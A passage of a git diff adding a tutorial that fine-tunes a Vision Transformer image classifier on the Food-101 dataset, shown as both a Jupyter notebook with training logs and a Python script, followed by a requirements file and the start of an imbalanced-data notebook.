'panna_cotta',\n", + " 'peking_duck',\n", + " 'pho',\n", + " 'pizza',\n", + " 'pork_chop',\n", + " 'poutine',\n", + " 'prime_rib',\n", + " 'pulled_pork_sandwich',\n", + " 'ramen',\n", + " 'ravioli',\n", + " 'red_velvet_cake',\n", + " 'risotto',\n", + " 'samosa',\n", + " 'sashimi',\n", + " 'scallops',\n", + " 'seaweed_salad',\n", + " 'shrimp_and_grits',\n", + " 'spaghetti_bolognese',\n", + " 'spaghetti_carbonara',\n", + " 'spring_rolls',\n", + " 'steak',\n", + " 'strawberry_shortcake',\n", + " 'sushi',\n", + " 'tacos',\n", + " 'takoyaki',\n", + " 'tiramisu',\n", + " 'tuna_tartare',\n", + " 'waffles']" + ] + }, + "metadata": {}, + "execution_count": 15 + } + ], + "source": [ + "# extract the labels for our dataset\n", + "labels = ds[\"train\"].features[\"label\"].names\n", + "labels" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "id": "ZUukexdrJGob" + }, + "outputs": [], + "source": [ + "import torch\n", + "\n", + "def collate_fn(batch):\n", + " return {\n", + " \"pixel_values\": torch.stack([x[\"pixel_values\"] for x in batch]),\n", + " \"labels\": torch.tensor([x[\"labels\"] for x in batch]),\n", + " }" + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Defining the Metrics" + ], + "metadata": { + "id": "mNT_iBYyKGAE" + } + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": { + "id": "crXIbHCeJYFs", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 81, + "referenced_widgets": [ + "a6f5330da3834963b3a47f9f9bb6a657", + "9a0cee1fc0644c768a1e7cfc7bb65469", + "c303a871150b40cf9209fc3f6da02e7d", + "9422c52eef304328a65551949c4eb982", + "7834179cb085439c96b265e34ca19309", + "2e7a21ab2dfc4858bd7d43451b16a179", + "9e3e30be4469468d8451dc6761d16bf6", + "343707c48e984b26a09c4adc25a510a5", + "444820c45f1241c59d0f7d1082e4c8d7", + "1933b7094ac4474abc1f48605ca4e0c4", + "db1683f3d8f44d4797dbc2a0f808bd2a", + "40eaac98a5b642b28298028de5b0a8f0", + "9185dd3b67964f1191210a7b104c4a88", + "5280d259979548ae9b302d3bfd06a1bd", + "1aa0c864c04d42329974b10668dd5eb7", + "a2699e131c4448d5bcc890f1f0c22c63", + "f40b643bece248458e3373e19f456325", + "dcf80cee15294d12aa9f5f2648a95028", + "1d0d738bddde42df9c434fe77f5c0307", + "c8aeb58e12b8427bb547022d7076a38b", + "04e02d2b23c149389db0cb519880b175", + "0f67af90cad747b99865abef12dd16a9" + ] + }, + "outputId": "43655744-224f-43bd-ebc1-846a1ca66b81" + }, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading 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" + ] + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stderr", + "text": [ + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-1000\n", + "Configuration saved in ./vit-base-food/checkpoint-1000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-1000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-1000/preprocessor_config.json\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-2000\n", + "Configuration saved in ./vit-base-food/checkpoint-2000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-2000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-2000/preprocessor_config.json\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-3000\n", + "Configuration saved in ./vit-base-food/checkpoint-3000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-3000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-3000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-1000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-4000\n", + "Configuration saved in ./vit-base-food/checkpoint-4000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-4000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-4000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-2000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-5000\n", + "Configuration saved in ./vit-base-food/checkpoint-5000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-5000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-5000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-3000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-6000\n", + "Configuration saved in ./vit-base-food/checkpoint-6000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-6000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-6000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-4000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-7000\n", + "Configuration saved in ./vit-base-food/checkpoint-7000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-7000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-7000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-5000] due to args.save_total_limit\n", + "\n", + "\n", + "Training completed. Do not forget to share your model on huggingface.co/models =)\n", + "\n", + "\n", + "Loading best model from ./vit-base-food/checkpoint-7000 (score: 0.37698468565940857).\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "TrainOutput(global_step=7104, training_loss=0.47385838654664186, metrics={'train_runtime': 13577.408, 'train_samples_per_second': 16.737, 'train_steps_per_second': 0.523, 'total_flos': 1.76256801415296e+19, 'train_loss': 0.47385838654664186, 'epoch': 3.0})" + ] + }, + "metadata": {}, + "execution_count": 19 + } + ], + "source": [ + "# start training\n", + "trainer.train()" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "id": "akZ0-H5YQSuJ", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 211 + }, + "outputId": "85b9cf1b-3fca-47ed-b4fe-5de2839e8cd5" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "\n", + "

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\n", + " " + ] + }, + "metadata": {} + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'eval_loss': 0.37698468565940857,\n", + " 'eval_accuracy': 0.8980594059405941,\n", + " 'eval_f1': 0.8983106653355424,\n", + " 'eval_runtime': 487.0104,\n", + " 'eval_samples_per_second': 51.847,\n", + " 'eval_steps_per_second': 6.482,\n", + " 'epoch': 3.0}" + ] + }, + "metadata": {}, + "execution_count": 20 + } + ], + "source": [ + "# trainer.evaluate(dataset[\"test\"])\n", + "trainer.evaluate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wAZFCk5Gd1p0" + }, + "outputs": [], + "source": [ + "# start tensorboard\n", + "# %load_ext tensorboard\n", + "%reload_ext tensorboard\n", + "%tensorboard --logdir ./vit-base-food/runs" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "H_SsuMpFafPe" + }, + "source": [ + "## Alternatively: Training using PyTorch Loop\n", + "Run the two below cells to fine-tune using a regular PyTorch loop if you want." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "C29idUGDd2yW" + }, + "outputs": [], + "source": [ + "# Training loop\n", + "from torch.utils.tensorboard import SummaryWriter\n", + "from torch.optim import AdamW\n", + "from torch.utils.data import DataLoader\n", + "\n", + "batch_size = 32\n", + "\n", + "train_dataset_loader = DataLoader(dataset[\"train\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n", + "valid_dataset_loader = DataLoader(dataset[\"validation\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n", + "\n", + "# define the optimizer\n", + "optimizer = AdamW(model.parameters(), lr=1e-5)\n", + "\n", + "log_dir = \"./image-classification/tensorboard\"\n", + "summary_writer = SummaryWriter(log_dir=log_dir)\n", + "\n", + "num_epochs = 3\n", + "model = model.to(device)\n", + "# print some statistics before training\n", + "# number of training steps\n", + "n_train_steps = num_epochs * len(train_dataset_loader)\n", + "# number of validation steps\n", + "n_valid_steps = len(valid_dataset_loader)\n", + "# current training step\n", + "current_step = 0\n", + "# logging, eval & save steps\n", + "save_steps = 1000\n", + "\n", + "def compute_metrics(eval_pred):\n", + " accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)\n", + " f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average=\"macro\")\n", + " return {**accuracy_score, **f1_score}" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2v6dNtUcd7-G" + }, + "outputs": [], + "source": [ + "for epoch in range(num_epochs):\n", + " # set the model to training mode\n", + " model.train()\n", + " # initialize the training loss\n", + " train_loss = 0\n", + " # initialize the progress bar\n", + " progress_bar = tqdm(range(current_step, n_train_steps), \"Training\", dynamic_ncols=True, ncols=80)\n", + " for batch in train_dataset_loader:\n", + " if (current_step+1) % save_steps == 0:\n", + " ### evaluation code ###\n", + " # evaluate on the validation set\n", + " # if the current step is a multiple of the save steps\n", + " print()\n", + " print(f\"Validation at step {current_step}...\")\n", + " print()\n", + " # set the model to evaluation mode\n", + " model.eval()\n", + " # initialize our lists that store the predictions and the labels\n", + " predictions, labels = [], []\n", + " # initialize the validation loss\n", + " valid_loss = 0\n", + " for batch in valid_dataset_loader:\n", + " # get the batch\n", + " pixel_values = batch[\"pixel_values\"].to(device)\n", + " label_ids = batch[\"labels\"].to(device)\n", + " # forward pass\n", + " outputs = model(pixel_values=pixel_values, labels=label_ids)\n", + " # get the loss\n", + " loss = outputs.loss\n", + " valid_loss += loss.item()\n", + " # free the GPU memory\n", + " logits = outputs.logits.detach().cpu()\n", + " # add the predictions to the list\n", + " predictions.extend(logits.argmax(dim=-1).tolist())\n", + " # add the labels to the list\n", + " labels.extend(label_ids.tolist())\n", + " # make the EvalPrediction object that the compute_metrics function expects\n", + " eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)\n", + " # compute the metrics\n", + " metrics = compute_metrics(eval_prediction)\n", + " # print the stats\n", + " print()\n", + " print(f\"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, \" + \n", + " f\"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, \" +\n", + " f\"F1 Score: {metrics['f1']}\")\n", + " print()\n", + " # log the metrics\n", + " summary_writer.add_scalar(\"valid_loss\", valid_loss / n_valid_steps, global_step=current_step)\n", + " summary_writer.add_scalar(\"accuracy\", metrics[\"accuracy\"], global_step=current_step)\n", + " summary_writer.add_scalar(\"f1\", metrics[\"f1\"], global_step=current_step)\n", + " # save the model\n", + " model.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n", + " image_processor.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n", + " # get the model back to train mode\n", + " model.train()\n", + " # reset the train and valid loss\n", + " train_loss, valid_loss = 0, 0\n", + " ### training code below ###\n", + " # get the batch & convert to tensor\n", + " pixel_values = batch[\"pixel_values\"].to(device)\n", + " labels = batch[\"labels\"].to(device)\n", + " # forward pass\n", + " outputs = model(pixel_values=pixel_values, labels=labels)\n", + " # get the loss\n", + " loss = outputs.loss\n", + " # backward pass\n", + " loss.backward()\n", + " # update the weights\n", + " optimizer.step()\n", + " # zero the gradients\n", + " optimizer.zero_grad()\n", + " # log the loss\n", + " loss_v = loss.item()\n", + " train_loss += loss_v\n", + " # increment the step\n", + " current_step += 1\n", + " progress_bar.update(1)\n", + " # log the training loss\n", + " summary_writer.add_scalar(\"train_loss\", loss_v, global_step=current_step)\n", + " " + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Performing Inference" + ], + "metadata": { + "id": "5nyMP4VRC_dG" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "nuOoflvoen7E" + }, + "outputs": [], + "source": [ + "# load the best model, change the checkpoint number to the best checkpoint\n", + "# if the last checkpoint is the best, then ignore this cell\n", + "best_checkpoint = 7000\n", + "# best_checkpoint = 150\n", + "model = ViTForImageClassification.from_pretrained(f\"./vit-base-food/checkpoint-{best_checkpoint}\").to(device)\n", + "# model = ViTForImageClassification.from_pretrained(f\"./vit-base-skin-cancer/checkpoint-{best_checkpoint}\").to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "id": "PwI6sf8PPReE", + "outputId": "851ba75d-374c-483f-8e32-2fd38de848f0" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "'sushi'" + ], + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + } + }, + "metadata": {}, + "execution_count": 25 + } + ], + "source": [ + "get_prediction(model, \"https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load\")" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": { + "id": "pkmjg6hGQ6DZ" + }, + "outputs": [], + "source": [ + "def get_prediction_probs(model, url_or_path, num_classes=3):\n", + " # load the image\n", + " img = load_image(url_or_path)\n", + " # preprocessing the image\n", + " pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n", + " # perform inference\n", + " output = model(pixel_values)\n", + " # get the top k classes and probabilities\n", + " probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)\n", + " # get the class labels\n", + " id2label = model.config.id2label\n", + " classes = [id2label[idx.item()] for idx in indices[0]]\n", + " # convert the probabilities to a list\n", + " probs = probs.squeeze().tolist()\n", + " # create a dictionary with the class names and probabilities\n", + " results = dict(zip(classes, probs))\n", + " return results" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "N0pFDs9CRhqX", + "outputId": "18f4cc0b-86fe-4575-c7d4-82b832938b56" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'greek_salad': 0.9658474326133728,\n", + " 'caesar_salad': 0.019217027351260185,\n", + " 'beet_salad': 0.008294313214719296}" + ] + }, + "metadata": {}, + "execution_count": 27 + } + ], + "source": [ + "# example 1\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "urU-gg-gRjkN", + "outputId": "6ff8b804-beea-4136-988d-2eb40c732205" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'grilled_cheese_sandwich': 0.9855711460113525,\n", + " 'waffles': 0.0030371786560863256,\n", + " 'club_sandwich': 0.0017941497499123216}" + ] + }, + "metadata": {}, + "execution_count": 28 + } + ], + "source": [ + "# example 2\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "nHtsyIRLV-3A", + "outputId": "bbba9101-6884-4b2b-b7c6-eba4e70fbe10" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'donuts': 0.9919546246528625,\n", + " 'cup_cakes': 0.0018467127811163664,\n", + " 'beignets': 0.0009919782169163227}" + ] + }, + "metadata": {}, + "execution_count": 29 + } + ], + "source": [ + "# example 3\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "qbO_d45dXtwh", + "outputId": "ef11eaab-abc9-4519-957e-fbb057d07c8e" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'deviled_eggs': 0.9846165180206299,\n", + " 'caprese_salad': 0.0012617064639925957,\n", + " 'ravioli': 0.001060450915247202,\n", + " 'beet_salad': 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b/machine-learning/finetuning-vit-image-classification/finetuning_vit_for_image_classification.py @@ -0,0 +1,446 @@ +# %% +!pip install transformers evaluate datasets + +# %% +import requests +import torch +from PIL import Image +from transformers import * +from tqdm import tqdm + +device = "cuda" if torch.cuda.is_available() else "cpu" + +# %% +# the model name +model_name = "google/vit-base-patch16-224" +# load the image processor +image_processor = ViTImageProcessor.from_pretrained(model_name) +# loading the pre-trained model +model = ViTForImageClassification.from_pretrained(model_name).to(device) + +# %% +import urllib.parse as parse +import os + +# a function to determine whether a string is a URL or not +def is_url(https://github.com/string): + try: + result = parse.urlparse(string) + return all([result.scheme, result.netloc, result.path]) + except: + return False + +# a function to load an image +def load_image(image_path): + if is_url(https://github.com/image_path): + return Image.open(requests.get(image_path, stream=True).raw) + elif os.path.exists(image_path): + return Image.open(image_path) + +# %% +def get_prediction(model, url_or_path): + # load the image + img = load_image(url_or_path) + # preprocessing the image + pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device) + # perform inference + output = model(pixel_values) + # get the label id and return the class name + return model.config.id2label[int(output.logits.softmax(dim=1).argmax())] + +# %% +get_prediction(model, "http://images.cocodataset.org/test-stuff2017/000000000128.jpg") + +# %% [markdown] +# # Loading our Dataset + +# %% +from datasets import load_dataset + +# download & load the dataset +ds = load_dataset("food101") + +# %% [markdown] +# ## Loading a Custom Dataset using `ImageFolder` +# Run the three below cells to load a custom dataset (that's not in the Hub) using `ImageFolder` + +# %% +import requests +from tqdm import tqdm + +def get_file(url): + response = requests.get(url, stream=True) + total_size = int(response.headers.get('content-length', 0)) + filename = None + content_disposition = response.headers.get('content-disposition') + if content_disposition: + parts = content_disposition.split(';') + for part in parts: + if 'filename' in part: + filename = part.split('=')[1].strip('"') + if not filename: + filename = os.path.basename(url) + block_size = 1024 # 1 Kibibyte + tqdm_bar = tqdm(total=total_size, unit='iB', unit_scale=True) + with open(filename, 'wb') as file: + for data in response.iter_content(block_size): + tqdm_bar.update(len(data)) + file.write(data) + tqdm_bar.close() + print(f"Downloaded {filename} ({total_size} bytes)") + return filename + +# %% +import zipfile +import os + +def download_and_extract_dataset(): + # dataset from https://github.com/udacity/dermatologist-ai + # 5.3GB + train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip" + # 824.5MB + valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip" + # 5.1GB + test_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip" + for i, download_link in enumerate([valid_url, train_url, test_url]): + data_dir = get_file(download_link) + print("Extracting", download_link) + with zipfile.ZipFile(data_dir, "r") as z: + z.extractall("data") + # remove the temp file + os.remove(data_dir) + +# comment the below line if you already downloaded the dataset +download_and_extract_dataset() + +# %% +from datasets import load_dataset + +# load the custom dataset +ds = load_dataset("imagefolder", data_dir="data") + +# %% [markdown] +# # Exploring the Data + +# %% +ds + +# %% +labels = ds["train"].features["label"] +labels + +# %% +labels.int2str(ds["train"][532]["label"]) + +# %% +import random +import matplotlib.pyplot as plt + +def show_image_grid(dataset, split, grid_size=(4,4)): + # Select random images from the given split + indices = random.sample(range(len(dataset[split])), grid_size[0]*grid_size[1]) + images = [dataset[split][i]["image"] for i in indices] + labels = [dataset[split][i]["label"] for i in indices] + + # Display the images in a grid + fig, axes = plt.subplots(nrows=grid_size[0], ncols=grid_size[1], figsize=(8,8)) + for i, ax in enumerate(axes.flat): + ax.imshow(images[i]) + ax.axis('off') + ax.set_title(ds["train"].features["label"].int2str(labels[i])) + + plt.show() + +# %% +show_image_grid(ds, "train") + +# %% [markdown] +# # Preprocessing the Data + +# %% +def transform(examples): + # convert all images to RGB format, then preprocessing it + # using our image processor + inputs = image_processor([img.convert("RGB") for img in examples["image"]], return_tensors="pt") + # we also shouldn't forget about the labels + inputs["labels"] = examples["label"] + return inputs + +# %% +# use the with_transform() method to apply the transform to the dataset on the fly during training +dataset = ds.with_transform(transform) + +# %% +for item in dataset["train"]: + print(item["pixel_values"].shape) + print(item["labels"]) + break + +# %% +# extract the labels for our dataset +labels = ds["train"].features["label"].names +labels + +# %% +import torch + +def collate_fn(batch): + return { + "pixel_values": torch.stack([x["pixel_values"] for x in batch]), + "labels": torch.tensor([x["labels"] for x in batch]), + } + +# %% [markdown] +# # Defining the Metrics + +# %% +from evaluate import load +import numpy as np + +# load the accuracy and f1 metrics from the evaluate module +accuracy = load("accuracy") +f1 = load("f1") + +def compute_metrics(eval_pred): + # compute the accuracy and f1 scores & return them + accuracy_score = accuracy.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids) + f1_score = f1.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids, average="macro") + return {**accuracy_score, **f1_score} + +# %% [markdown] +# # Training the Model + +# %% +# load the ViT model +model = ViTForImageClassification.from_pretrained( + model_name, + num_labels=len(labels), + id2label={str(i): c for i, c in enumerate(labels)}, + label2id={c: str(i) for i, c in enumerate(labels)}, + ignore_mismatched_sizes=True, +) + +# %% +from transformers import TrainingArguments + +training_args = TrainingArguments( + output_dir="./vit-base-food", # output directory + # output_dir="./vit-base-skin-cancer", + per_device_train_batch_size=32, # batch size per device during training + evaluation_strategy="steps", # evaluation strategy to adopt during training + num_train_epochs=3, # total number of training epochs + # fp16=True, # use mixed precision + save_steps=1000, # number of update steps before saving checkpoint + eval_steps=1000, # number of update steps before evaluating + logging_steps=1000, # number of update steps before logging + # save_steps=50, + # eval_steps=50, + # logging_steps=50, + save_total_limit=2, # limit the total amount of checkpoints on disk + remove_unused_columns=False, # remove unused columns from the dataset + push_to_hub=False, # do not push the model to the hub + report_to='tensorboard', # report metrics to tensorboard + load_best_model_at_end=True, # load the best model at the end of training +) + + +# %% +from transformers import Trainer + +trainer = Trainer( + model=model, # the instantiated 🤗 Transformers model to be trained + args=training_args, # training arguments, defined above + data_collator=collate_fn, # the data collator that will be used for batching + compute_metrics=compute_metrics, # the metrics function that will be used for evaluation + train_dataset=dataset["train"], # training dataset + eval_dataset=dataset["validation"], # evaluation dataset + tokenizer=image_processor, # the processor that will be used for preprocessing the images +) + +# %% +# start training +trainer.train() + +# %% +# trainer.evaluate(dataset["test"]) +trainer.evaluate() + +# %% +# start tensorboard +# %load_ext tensorboard +%reload_ext tensorboard +%tensorboard --logdir ./vit-base-food/runs + +# %% [markdown] +# ## Alternatively: Training using PyTorch Loop +# Run the two below cells to fine-tune using a regular PyTorch loop if you want. + +# %% +# Training loop +from torch.utils.tensorboard import SummaryWriter +from torch.optim import AdamW +from torch.utils.data import DataLoader + +batch_size = 32 + +train_dataset_loader = DataLoader(dataset["train"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True) +valid_dataset_loader = DataLoader(dataset["validation"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True) + +# define the optimizer +optimizer = AdamW(model.parameters(), lr=1e-5) + +log_dir = "./image-classification/tensorboard" +summary_writer = SummaryWriter(log_dir=log_dir) + +num_epochs = 3 +model = model.to(device) +# print some statistics before training +# number of training steps +n_train_steps = num_epochs * len(train_dataset_loader) +# number of validation steps +n_valid_steps = len(valid_dataset_loader) +# current training step +current_step = 0 +# logging, eval & save steps +save_steps = 1000 + +def compute_metrics(eval_pred): + accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids) + f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average="macro") + return {**accuracy_score, **f1_score} + +# %% +for epoch in range(num_epochs): + # set the model to training mode + model.train() + # initialize the training loss + train_loss = 0 + # initialize the progress bar + progress_bar = tqdm(range(current_step, n_train_steps), "Training", dynamic_ncols=True, ncols=80) + for batch in train_dataset_loader: + if (current_step+1) % save_steps == 0: + ### evaluation code ### + # evaluate on the validation set + # if the current step is a multiple of the save steps + print() + print(f"Validation at step {current_step}...") + print() + # set the model to evaluation mode + model.eval() + # initialize our lists that store the predictions and the labels + predictions, labels = [], [] + # initialize the validation loss + valid_loss = 0 + for batch in valid_dataset_loader: + # get the batch + pixel_values = batch["pixel_values"].to(device) + label_ids = batch["labels"].to(device) + # forward pass + outputs = model(pixel_values=pixel_values, labels=label_ids) + # get the loss + loss = outputs.loss + valid_loss += loss.item() + # free the GPU memory + logits = outputs.logits.detach().cpu() + # add the predictions to the list + predictions.extend(logits.argmax(dim=-1).tolist()) + # add the labels to the list + labels.extend(label_ids.tolist()) + # make the EvalPrediction object that the compute_metrics function expects + eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels) + # compute the metrics + metrics = compute_metrics(eval_prediction) + # print the stats + print() + print(f"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, " + + f"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, " + + f"F1 Score: {metrics['f1']}") + print() + # log the metrics + summary_writer.add_scalar("valid_loss", valid_loss / n_valid_steps, global_step=current_step) + summary_writer.add_scalar("accuracy", metrics["accuracy"], global_step=current_step) + summary_writer.add_scalar("f1", metrics["f1"], global_step=current_step) + # save the model + model.save_pretrained(f"./vit-base-food/checkpoint-{current_step}") + image_processor.save_pretrained(f"./vit-base-food/checkpoint-{current_step}") + # get the model back to train mode + model.train() + # reset the train and valid loss + train_loss, valid_loss = 0, 0 + ### training code below ### + # get the batch & convert to tensor + pixel_values = batch["pixel_values"].to(device) + labels = batch["labels"].to(device) + # forward pass + outputs = model(pixel_values=pixel_values, labels=labels) + # get the loss + loss = outputs.loss + # backward pass + loss.backward() + # update the weights + optimizer.step() + # zero the gradients + optimizer.zero_grad() + # log the loss + loss_v = loss.item() + train_loss += loss_v + # increment the step + current_step += 1 + progress_bar.update(1) + # log the training loss + summary_writer.add_scalar("train_loss", loss_v, global_step=current_step) + + +# %% [markdown] +# # Performing Inference + +# %% +# load the best model, change the checkpoint number to the best checkpoint +# if the last checkpoint is the best, then ignore this cell +best_checkpoint = 7000 +# best_checkpoint = 150 +model = ViTForImageClassification.from_pretrained(f"./vit-base-food/checkpoint-{best_checkpoint}").to(device) +# model = ViTForImageClassification.from_pretrained(f"./vit-base-skin-cancer/checkpoint-{best_checkpoint}").to(device) + +# %% +get_prediction(model, "https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load") + +# %% +def get_prediction_probs(model, url_or_path, num_classes=3): + # load the image + img = load_image(url_or_path) + # preprocessing the image + pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device) + # perform inference + output = model(pixel_values) + # get the top k classes and probabilities + probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes) + # get the class labels + id2label = model.config.id2label + classes = [id2label[idx.item()] for idx in indices[0]] + # convert the probabilities to a list + probs = probs.squeeze().tolist() + # create a dictionary with the class names and probabilities + results = dict(zip(classes, probs)) + return results + +# %% +# example 1 +get_prediction_probs(model, "https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 2 +get_prediction_probs(model, "https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 3 +get_prediction_probs(model, "https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600") + +# %% +# example 4 +get_prediction_probs(model, "https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600", num_classes=10) + +# %% +get_prediction_probs(model, "https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600") + + diff --git a/machine-learning/finetuning-vit-image-classification/requirements.txt b/machine-learning/finetuning-vit-image-classification/requirements.txt new file mode 100644 index 00000000..f39fc918 --- /dev/null +++ b/machine-learning/finetuning-vit-image-classification/requirements.txt @@ -0,0 +1,4 @@ +torch +transformers +evaluate +datasets diff --git a/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..d4423500 --- /dev/null +++ b/machine-learning/handling-inbalance-churn-data/Handling_Imbalance_Datasets_PythonCodeTutorial.ipynb @@ -0,0 +1,551 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "id": "pyYnq_d3jX9y" + }, + "source": [ + "## Loading the dataset" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + 